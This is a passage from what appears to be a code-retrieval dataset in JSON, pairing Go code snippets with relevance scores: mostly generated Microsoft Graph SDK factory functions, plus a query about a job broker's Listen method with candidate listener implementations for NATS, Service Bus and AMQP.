i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewMeetingCapability(), nil\n}", "title": "" }, { "docid": "c956df86912a72fca4ed4bcc9bac5cae", "score": "0.5349059", "text": "func CreateDefaultManagedAppProtectionFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDefaultManagedAppProtection(), nil\n}", "title": "" }, { "docid": "c956df86912a72fca4ed4bcc9bac5cae", "score": "0.5349059", "text": "func CreateDefaultManagedAppProtectionFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDefaultManagedAppProtection(), nil\n}", "title": "" }, { "docid": "4869470913a9f15152fb08138b34b77e", "score": "0.53476214", "text": "func CreateWebAccountFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewWebAccount(), nil\n}", "title": "" }, { "docid": "fcf6e7d89df331355d362015ee48d70b", "score": "0.53283876", "text": "func CreateMacOSExtensionsConfigurationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewMacOSExtensionsConfiguration(), nil\n}", "title": "" }, { "docid": "3b29743a97fb7e3d1e8b52d9013ebe53", "score": "0.53185743", "text": "func CreateDeviceShellScriptFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDeviceShellScript(), nil\n}", "title": "" }, { "docid": "3f5816cf753d520dd60a596f34a1afde", "score": "0.5299396", "text": "func CreateSharedEmailDomainInvitationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewSharedEmailDomainInvitation(), nil\n}", "title": "" }, { "docid": "a099887542eb44a5718d52302e121dc7", "score": "0.52750015", "text": "func CreateAlertDetectionFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAlertDetection(), nil\n}", "title": "" }, { "docid": "a099887542eb44a5718d52302e121dc7", "score": "0.52750015", "text": "func CreateAlertDetectionFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAlertDetection(), nil\n}", "title": "" }, { "docid": "8c40de4a806a6d658fe28a9d5ed24c12", "score": "0.52723587", "text": "func CreatePresenceFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewPresence(), nil\n}", "title": "" }, { "docid": "67f53c89bd84d42c0096397f96ca9aae", "score": "0.52701724", "text": "func CreateOptionalClaimsFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewOptionalClaims(), nil\n}", "title": "" }, { "docid": "d177c59db36e714a32c18cbce069d95e", "score": "0.52642286", "text": "func CreateAadUserConversationMemberFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAadUserConversationMember(), nil\n}", "title": "" }, { "docid": "2f9f6a70727683f635230d7cfc6adf0a", "score": "0.52605146", "text": "func CreateChannelModerationSettingsFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewChannelModerationSettings(), nil\n}", "title": "" }, { "docid": "dd016bdf5b8b30f16aa91655ff4ddcb3", "score": "0.5228121", "text": "func CreateWinGetAppFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewWinGetApp(), nil\n}", "title": "" }, { "docid": "afefee265ffe8d8f64590c1fd85e08fa", "score": "0.5221138", "text": "func CreateComplianceSettingsFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewComplianceSettings(), nil\n}", "title": "" }, { "docid": "3fd0ba08604eb27ac8178795811a7aea", "score": "0.5212791", "text": "func CreateAuditPropertyFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAuditProperty(), nil\n}", "title": "" }, { "docid": "d4c2c6980ac1b08434148d2fe5e8764f", "score": "0.52091384", "text": "func CreateMacOSMicrosoftDefenderAppFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewMacOSMicrosoftDefenderApp(), nil\n}", "title": "" }, { "docid": "6a06fbe0cea35117025c91a1aa35fdfa", "score": "0.5205535", "text": "func CreateDeviceManagementConfigurationWindowsSettingApplicabilityFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDeviceManagementConfigurationWindowsSettingApplicability(), nil\n}", "title": "" }, { "docid": "1a93f5884fe9ba7bbdfcf3f17e2866cf", "score": "0.52053815", "text": "func CreateChangeScreenSharingRolePostRequestBodyFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewChangeScreenSharingRolePostRequestBody(), nil\n}", "title": "" }, { "docid": "ef5cf66f0e386f8a1434ea4888726c36", "score": "0.52039677", "text": "func CreateCustodianFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewCustodian(), nil\n}", "title": "" }, { "docid": "fa47b818e43922320b67ed3bbb1d2f8a", "score": "0.51951265", "text": "func CreateUserExperienceAnalyticsBatteryHealthDeviceAppImpactFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewUserExperienceAnalyticsBatteryHealthDeviceAppImpact(), nil\n}", "title": "" }, { "docid": "580c59acbfc0d93bdd363e88d2e28593", "score": "0.5193205", "text": "func CreateWindowsUpdateRolloutSettingsFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewWindowsUpdateRolloutSettings(), nil\n}", "title": "" }, { "docid": "9c5373fc689196aa1d7d240c692f2851", "score": "0.5191472", "text": "func CreateUserExperienceAnalyticsCategoryFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewUserExperienceAnalyticsCategory(), nil\n}", "title": "" }, { "docid": "46b6630cbb13d27558d8528b7babedf0", "score": "0.51880145", "text": "func CreateProvisioningSystemFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewProvisioningSystem(), nil\n}", "title": "" }, { "docid": "016b2efac64213e4a97029edcdc0e70a", "score": "0.5185573", "text": "func CreateAttributeRuleMembersFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAttributeRuleMembers(), nil\n}", "title": "" }, { "docid": "314a6715434ee92b0cef5b6969079784", "score": "0.5176629", "text": "func CreateEndpointFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n if parseNode != nil {\n mappingValueNode, err := parseNode.GetChildNode(\"@odata.type\")\n if err != nil {\n return nil, err\n }\n if mappingValueNode != nil {\n mappingValue, err := mappingValueNode.GetStringValue()\n if err != nil {\n return nil, err\n }\n if mappingValue != nil {\n switch *mappingValue {\n case \"#microsoft.graph.callRecords.participantEndpoint\":\n return NewParticipantEndpoint(), nil\n case \"#microsoft.graph.callRecords.serviceEndpoint\":\n return NewServiceEndpoint(), nil\n }\n }\n }\n }\n return NewEndpoint(), nil\n}", "title": "" }, { "docid": "e6ae544641e3b0abd96778adb2941b7d", "score": "0.5170697", "text": "func CreateApprovalFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewApproval(), nil\n}", "title": "" }, { "docid": "5053f099a55b2f34c1ab9e5e39b2ac03", "score": "0.5161383", "text": "func CreateWindows10MobileCompliancePolicyFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewWindows10MobileCompliancePolicy(), nil\n}", "title": "" }, { "docid": "d0f13f930d0238541e3b304a6867eb40", "score": "0.51517254", "text": "func CreateNetworkInfoFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewNetworkInfo(), nil\n}", "title": "" }, { "docid": "567c7cfd00a52938f23e4c0926106352", "score": "0.5146425", "text": "func CreateAdminFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAdmin(), nil\n}", "title": "" }, { "docid": "b35a9dcf6d7e05a164b19754241abb5b", "score": "0.51438594", "text": "func CreateCertificateAuthorityPathFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewCertificateAuthorityPath(), nil\n}", "title": "" }, { "docid": "4f474467b995ab84c23f6baefd97bdc5", "score": "0.51437557", "text": "func CreatePermissionScopeFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewPermissionScope(), nil\n}", "title": "" }, { "docid": "da52040f7a31d49c31b7dac87016971e", "score": "0.5137762", "text": "func CreateAccessPackageFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAccessPackage(), nil\n}", "title": "" }, { "docid": "b647ff6e077b11e8dc10bc68993cf1e3", "score": "0.51338273", "text": "func CreateCustomSecurityAttributeAuditFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewCustomSecurityAttributeAudit(), nil\n}", "title": "" }, { "docid": "5c9e65e9c04b18ebd4cefa126dad5c82", "score": "0.51245964", "text": "func CreateApplyTagsPostRequestBodyFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewApplyTagsPostRequestBody(), nil\n}", "title": "" }, { "docid": "e59525ee27a58e385f4306c7641577e9", "score": "0.51212066", "text": "func CreateSoftwareOathAuthenticationMethodCollectionResponseFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewSoftwareOathAuthenticationMethodCollectionResponse(), nil\n}", "title": "" }, { "docid": "c5d23cf80b460723b6ae57e16ab30de6", "score": "0.51178575", "text": "func CreateDriveFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDrive(), nil\n}", "title": "" }, { "docid": "7e5f3cc37d00f4d48e81388f3415c69c", "score": "0.5106821", "text": "func CreateInvitePostRequestBodyFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewInvitePostRequestBody(), nil\n}", "title": "" }, { "docid": "0c05de01b8b006b19a02aa8d8c9dd503", "score": "0.5103679", "text": "func CreateManagedDeviceCertificateStateFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewManagedDeviceCertificateState(), nil\n}", "title": "" }, { "docid": "cd045a44193e7a021de8fd8969134e44", "score": "0.5103302", "text": "func CreateSchemaFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewSchema(), nil\n}", "title": "" }, { "docid": "0c6fbf8abbe1c3756a6ed7542292be93", "score": "0.5100642", "text": "func CreateForwardPostRequestBodyFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewForwardPostRequestBody(), nil\n}", "title": "" }, { "docid": "ca35067d65ac53ce173a214a3b70ce1b", "score": "0.50979096", "text": "func CreateDeviceEnrollmentWindowsHelloForBusinessConfigurationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDeviceEnrollmentWindowsHelloForBusinessConfiguration(), nil\n}", "title": "" }, { "docid": "7b4697c0bae2cf0b519d2361966db12f", "score": "0.5094333", "text": "func CreateContactFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewContact(), nil\n}", "title": "" }, { "docid": "00fe90bbb92c842cb5106e42a3f6d44e", "score": "0.509209", "text": "func CreateAppleExpeditedCheckinConfigurationBaseFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n if parseNode != nil {\n mappingValueNode, err := parseNode.GetChildNode(\"@odata.type\")\n if err != nil {\n return nil, err\n }\n if mappingValueNode != nil {\n mappingValue, err := mappingValueNode.GetStringValue()\n if err != nil {\n return nil, err\n }\n if mappingValue != nil {\n switch *mappingValue {\n case \"#microsoft.graph.iosExpeditedCheckinConfiguration\":\n return NewIosExpeditedCheckinConfiguration(), nil\n }\n }\n }\n }\n return NewAppleExpeditedCheckinConfigurationBase(), nil\n}", "title": "" }, { "docid": "6e8bbe763697bd0f50ebc3d50649471b", "score": "0.5083811", "text": "func CreateWindows10CompliancePolicyFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewWindows10CompliancePolicy(), nil\n}", "title": "" }, { "docid": "2778f59fc5fc5e5b684d8a8ccbc8a79f", "score": "0.5064963", "text": "func CreateDeviceManagementConfigurationChoiceSettingInstanceTemplateFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDeviceManagementConfigurationChoiceSettingInstanceTemplate(), nil\n}", "title": "" }, { "docid": "eb36c002b84025c4bb75b0ad630ca4f0", "score": "0.5060224", "text": "func CreateManagedMobileLobAppFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n if parseNode != nil {\n mappingValueNode, err := parseNode.GetChildNode(\"@odata.type\")\n if err != nil {\n return nil, err\n }\n if mappingValueNode != nil {\n mappingValue, err := mappingValueNode.GetStringValue()\n if err != nil {\n return nil, err\n }\n if mappingValue != nil {\n switch *mappingValue {\n case \"#microsoft.graph.managedAndroidLobApp\":\n return NewManagedAndroidLobApp(), nil\n case \"#microsoft.graph.managedIOSLobApp\":\n return NewManagedIOSLobApp(), nil\n }\n }\n }\n }\n return NewManagedMobileLobApp(), nil\n}", "title": "" }, { "docid": "559fc6adeec1fc6de7920a4534af5caf", "score": "0.50541437", "text": "func CreateRelationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewRelation(), nil\n}", "title": "" }, { "docid": "d842cf9eabc32bec31cb7c53865d4c7e", "score": "0.5047554", "text": "func CreateContentTypeFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewContentType(), nil\n}", "title": "" } ]
c2981254d83429f8e8e9dbdd5916f025
Listen configures broker with list of tubes to listen and handler function. Local broker groups all tubes together.
[ { "docid": "ca677c6c9f98b1a0c0dcef092959abdd", "score": "0.5850629", "text": "func (b *Broker) Listen(pipelines []*jobs.Pipeline, pool chan jobs.Handler, err jobs.ErrorHandler) error {\n\tb.queue = make(map[*jobs.Pipeline]*Queue)\n\tfor _, p := range pipelines {\n\t\tif err := b.registerQueue(p); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tb.handlerPool = pool\n\tb.err = err\n\treturn nil\n}", "title": "" } ]
[ { "docid": "657644eecd7c3f764dd48688210e11a1", "score": "0.6598701", "text": "func run() error {\n\tlistener, err := net.Listen(\"tcp\", *addr)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer listener.Close()\n\tlogger.Printf(\"broker\", \"Listening on %s\\n\", listener.Addr())\n\tfor {\n\t\tconn, err := listener.Accept()\n\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"broker\", \"Accept error: %v\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\th := newHandler(&agt.queues)\n\t\tadapter := proton.NewMessagingAdapter(h)\n\t\t// We want to accept messages when they are enqueued, not just when they\n\t\t// are received, so we turn off auto-accept and prefetch by the adapter.\n\t\tadapter.Prefetch = 0\n\t\tadapter.AutoAccept = false\n\t\tadapter.AutoOpen = true\n\t\tadapter.AutoSettle = true\n\t\tengine, err := proton.NewEngine(conn, adapter)\n\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"broker\", \"Connection error: %v\", err)\n\t\t\tcontinue\n\t\t}\n\t\tengine.Connection().SetContainer(util.GetName())\n\t\tengine.Server() // Enable server-side protocol negotiation.\n\t\tlogger.Printf(\"broker\", \"Accepted connection %s\", engine)\n\t\th.engine = engine.Id()\n\t\th.connection = fmt.Sprintf(\"%s-%s\", conn.LocalAddr(), conn.RemoteAddr())\n\t\tagt.mu.Lock()\n\t\tagt.handlers[h.engine] = h\n\t\tagt.mu.Unlock()\n\t\tgo func() { // Start goroutine to run the engine event loop\n\t\t\tengine.Run()\n\t\t\tlogger.Printf(\"broker\", \"Closed %s (%v)\", engine, engine.Error())\n\t\t\tagt.mu.Lock()\n\t\t\tdelete(agt.handlers, h.engine)\n\t\t\tagt.mu.Unlock()\n\t\t}()\n\t}\n}", "title": "" }, { "docid": "109ae83f45c9f7f971414e0fa94c1dbd", "score": "0.59119064", "text": "func (srv *server) Run() {\n\tsrv.msgRouter = make(chan *msgRouter, srv.config.MsgRouterLen)\n\tsrv.register = make(chan *register, srv.config.RegisterLen)\n\tsrv.unregister = make(chan *unregister, srv.config.UnregisterLen)\n\n\tvar tcps []string\n\tvar ws []string\n\n\tfor _, v := range srv.tcpListener {\n\t\ttcps = append(tcps, v.Addr().String())\n\t}\n\n\tfor _, v := range srv.websocketServer {\n\t\tws = append(ws, v.Server.Addr)\n\t}\n\n\tzaplog.Info(\"starting mqtt server\", zap.Strings(\"tcp server listen on\", tcps), zap.Strings(\"websocket server listen on\", ws))\n\n\terr := srv.loadPlugins()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsrv.status = serverStatusStarted\n\n\tgo srv.eventLoop()\n\n\tfor _, ln := range srv.tcpListener {\n\t\tgo srv.serveTCP(ln)\n\t}\n\n\tfor _, server := range srv.websocketServer {\n\t\tmux := http.NewServeMux()\n\t\tmux.Handle(server.Path, srv.wsHandler())\n\t\tserver.Server.Handler = mux\n\t\tgo srv.serveWebSocket(server)\n\t}\n}", "title": "" }, { "docid": "968abb255ee9997999e5e15046eb8b70", "score": "0.58915913", "text": "func (b *NatsBroker) Run(h centrifuge.BrokerEventHandler) error {\n\tb.eventHandler = h\n\tservers := b.config.Servers\n\tif servers == \"\" {\n\t\tservers = nats.DefaultURL\n\t}\n\tnc, err := nats.Connect(servers, nats.ReconnectBufSize(-1), nats.MaxReconnects(math.MaxInt64))\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = nc.Subscribe(string(b.controlChannel()), b.handleControl)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = nc.Subscribe(string(b.nodeChannel(b.node.ID())), b.handleControl)\n\tif err != nil {\n\t\treturn err\n\t}\n\tb.nc = nc\n\tb.node.Log(centrifuge.NewLogEntry(centrifuge.LogLevelInfo, fmt.Sprintf(\"Nats Broker connected to: %s\", servers)))\n\treturn nil\n}", "title": "" }, { "docid": "29d665e10d1a248bd57a069f164a644e", "score": "0.5882222", "text": "func (l *ServiceBusListener) Listen(ctx context.Context, handle Handle) error {\n\t// Setup necessary SB resources\n\tnamespace, err := getNamespace(l.Config.ServiceBusConnectionString)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to get namespace from provided ServiceBus connection string: %w\", err)\n\t}\n\ttopicEntity, err := getTopicEntity(ctx, l.Config.Environment, l.Config.Region, namespace)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to get topicEntity: %w\", err)\n\t}\n\tsubscriptionEntity, err := getSubscriptionEntity(ctx, l.Config.UnderlayID, namespace, topicEntity)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to get subscriptionEntity: %w\", err)\n\t}\n\n\t// Generate new topic client\n\ttopic, err := namespace.NewTopic(topicEntity.Name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create new topic %s: %w\", topicEntity.Name, err)\n\t}\n\tdefer func() {\n\t\t_ = topic.Close(ctx)\n\t}()\n\n\t// Generate new subscription client\n\tsub, err := topic.NewSubscription(subscriptionEntity.Name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create new subscription %s: %w\", subscriptionEntity.Name, err)\n\t}\n\tsubReceiver, err := sub.NewReceiver(ctx)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create new subscription receiver %s: %w\", subReceiver.Name, err)\n\t}\n\t// Create a handle class that has that function\n\tlistenerHandle := subReceiver.Listen(ctx, servicebus.HandlerFunc(\n\t\tfunc(ctx context.Context, message *servicebus.Message) error {\n\t\t\terr := handle(ctx, string(message.Data))\n\t\t\tif err != nil {\n\t\t\t\terr = message.Abandon(ctx)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn message.Complete(ctx)\n\t\t},\n\t))\n\t<-listenerHandle.Done()\n\n\tif err := subReceiver.Close(ctx); err != nil {\n\t\treturn fmt.Errorf(\"error shutting down service bus subscription. %w\", err)\n\t}\n\treturn listenerHandle.Err()\n}", "title": "" }, { "docid": "5bc6ef91a9c9430c5f882320f5af560b", "score": "0.58467805", "text": "func Listen(config Config, alerts chan Alert) {\n\trouter := http.NewServeMux()\n\trouter.HandleFunc(\"/integrations/slack\", slackHandler)\n\n\tph := &pacemakerHandler{alerts: alerts}\n\trouter.Handle(\"/integrations/pacemaker\", ph)\n\trouter.Handle(\"/\", ph)\n\n\trouter.HandleFunc(\"/debug/vars\", ExpvarHandler)\n\trouter.HandleFunc(\"/integrations/slack/ping\", ExpvarHandler)\n\n\tlog.Fatal(http.ListenAndServe(config.ListenBind, router))\n}", "title": "" }, { "docid": "b8a871e1217c41d831444e3f50063690", "score": "0.5811388", "text": "func RunBroker() {\n\tbroker = &MessageBroker{\n\t\tconnByID: make(map[string]*websocket.Conn),\n\t\tbroadcast: make(chan Payload),\n\t\taddConn: make(chan registration),\n\t\tremoveConn: make(chan registration),\n\t}\n\n\tgo broker.loop()\n}", "title": "" }, { "docid": "c8c501e10d1289775c28d459800225d7", "score": "0.5733052", "text": "func Listen(d micro.IDomain) {\n\tnames := \"\"\n\tif defaultListener == nil {\n\t\tlog.Debugf(\"Looking for one of %d listeners in config\", len(implementations))\n\t\tfor name /*,listenerImplementation*/ := range implementations {\n\t\t\tlog.Debugf(\" Trying %s ...\", name)\n\t\t\tnames += \"|\" + name\n\n\t\t\tconfiguredListener, err := config.Get(\"mq.\" + name) //, listenerImplementation)\n\t\t\tif err != nil {\n\t\t\t\tlog.Debugf(\" mq.%s not available: %v\", name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\terr = configuredListener.Validate()\n\t\t\tif err != nil {\n\t\t\t\tlog.Debugf(\" mq.%s is not valid: %v\", name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tlog.Infof(\"Using mq.%s\", name)\n\t\t\tdefaultListener = configuredListener.(IListener)\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif defaultListener == nil {\n\t\tif len(names) > 0 {\n\t\t\tnames = names[1:]\n\t\t}\n\t\tlog.Fatalf(\"No mq listener configured, expecting mq.%s\", names)\n\t}\n\tdefaultListener.Listen(d)\n}", "title": "" }, { "docid": "24f54f5bf67ef3320853881f32a6d2d8", "score": "0.57318276", "text": "func (q *QuotesGroup) listen() {\n\tgo func() {\n\t\tfor msg := range q.dataCh {\n\t\t\tquotes, datatype := q.handleUpdates(msg)\n\t\t\tq.resultCh <- schemas.ResultChannel{\n\t\t\t\tDataType: datatype,\n\t\t\t\tData: quotes,\n\t\t\t}\n\t\t}\n\t}()\n\tgo func() {\n\t\tfor err := range q.errorCh {\n\t\t\tq.resultCh <- schemas.ResultChannel{\n\t\t\t\tError: 